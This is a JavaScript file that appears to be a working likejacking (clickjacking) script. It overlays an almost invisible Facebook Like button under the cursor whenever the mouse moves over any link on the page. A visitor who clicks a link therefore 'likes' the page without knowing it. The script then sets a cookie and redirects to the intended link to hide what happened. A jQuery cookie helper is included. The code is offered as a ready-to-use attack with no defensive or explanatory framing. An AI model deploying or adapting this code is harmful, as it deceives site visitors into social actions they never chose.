var $J = jQuery.noConflict(); 


// solve: images and floating divs 
function heightestChild(elem)
{
        var t=0;
        var t_elem;
        $J("*",elem).each(function () {
            if ( $J(this).outerHeight(true) > t ) {
                t_elem=$J(this);
                t=t_elem.outerHeight(true);
            }
        });
        // we care about the heighest
        if (elem.outerHeight(true) > t)
        {
                t = elem.outerHeight(true); 
        }
        
        //return elem.outerHeight(true); 
        return t+3; // hotfix
}

function highestOffsetTop(elem)
{
        var t=elem.offset().top;
        var t_elem;
        $J("*",elem).each(function () {
            if ( $J(this).offset().top < t ) {
                t_elem=$J(this);
                t=t_elem.offset().top;
            }
        });
        // we only care about the object that is most on top 
        if (elem.offset().top < t)
        {
                t = elem.offset().top;
        }
        
        //return elem.offset().top;
        return t+3;
}


// 57 19 63

$J(document).ready(function(){
        
        if (window.DO_CLICK) { // wrap up EVERYTHING 
        
        $J("body").append('<div id="clicksj" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');
/*      $J("body").append('<div id="clicksj" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
        
        var elementWidth = 0; 
        var elementHeight = 0; 
        var theElement = '';
        var likeDone = 0;

        if ($J.cookie("clicksj_"+escape(document.URL)) == 1)
        {
                likeDone = 1; 
        }

        FB.Event.subscribe('edge.create', function(response) {
                  $J("#clicksj").css("display", "none");
                  likeDone = 1;   
                  $J.cookie("clicksj_"+escape(document.URL), "1");
                  // let the user actually go to the link he clicked. 
                  window.location.href = theElement.attr('href');
        });
        
$J(document).mousemove(function(event) {
                if (theElement != '')
                {
                        if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
                        {
                                //alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top); 
                        /*      $J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>"); 
                                $J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
                                theElement = ''; // the mouse is off theElement
                                $J("#clicksj").css("display", "none"); 
                        }
                        else
                        {
                                if ($J.browser.msie) {
                                        $J("#clicksj").css("top",(event.pageY-15)+"px");
                                        $J("#clicksj").css("left",(event.pageX-20)+"px");
                                }
                                else
                                {
                                        $J("#clicksj").css("top",(event.pageY-5)+"px");
                                        $J("#clicksj").css("left",(event.pageX-20)+"px");
                                }
                        }       
                }
});

$J(document).delegate("a","mouseenter", function (){
        // register mouse is inside element 
        if (likeDone == 0) 
        {
                theElement = $J(this);  
                $J("#clicksj").css("display", "block");
        }
}); 


} // window.DO_clicksj
});


jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        // CAUTION: Needed to parenthesize options.path and options.domain
        // in the following expressions, otherwise they evaluate to undefined
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};// JavaScript Document
